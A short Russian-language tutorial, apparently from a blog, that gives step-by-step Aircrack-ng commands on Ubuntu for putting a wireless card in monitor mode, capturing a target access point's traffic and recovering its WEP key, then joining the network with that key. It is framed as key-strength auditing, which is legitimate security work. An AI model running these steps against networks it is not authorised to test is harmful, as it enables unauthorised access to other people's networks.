Aircrack-ng — набор программ, предназначенных для обнаружения беспроводных сетей, перехвата передаваемого через беспроводные сети трафика, аудита WEP и WPA/WPA2-PSK ключей шифрования (проверка стойкости).
Официальный сайт: www.aircrack-ng.org
Устанавливается в Ubuntu так:
sudo apt-get install aircrack-ng
Смотрим имя беспроводного сетевого интерфейса (стандартно он называется wlan0):
sudo iwconfig
Сканируем существующие Wi-Fi сети и смотрим их тип шифрования, канал и т.д.
sudo iwlist scanning
Смотрим запущенные сетевые сервисы:
sudo airmon-ng check
Останавливаем мешающие:
sudo stop network-manager
sudo stop avahi-daemon
sudo killall wpa_supplicant
Запускаем монитор с именем mon0:
sudo airmon-ng start wlan0
Для удобства открываем новый терминал (чтобы можно было в любое время вернутся к предыдущему со списком сетей) и перехватываем все пакеты в файл (стандартно он создается в директории пользователя):
sudo airodump-ng --channel N -w wep -i --bssid MAC mon0
Где N — номер wifi канала, MAC — MAC адрес точки доступа.
Подбираем ключ из файла:
sudo aircrack-ng -a 1 -0 wep-01.ivs
Запускаем обратно сетевую службу network-manager, чтобы можно было подключиться к беспроводной сети:
sudo start network-manager
Подключаемся к беспроводной точке и вводим уже известный нам ключ безопасности.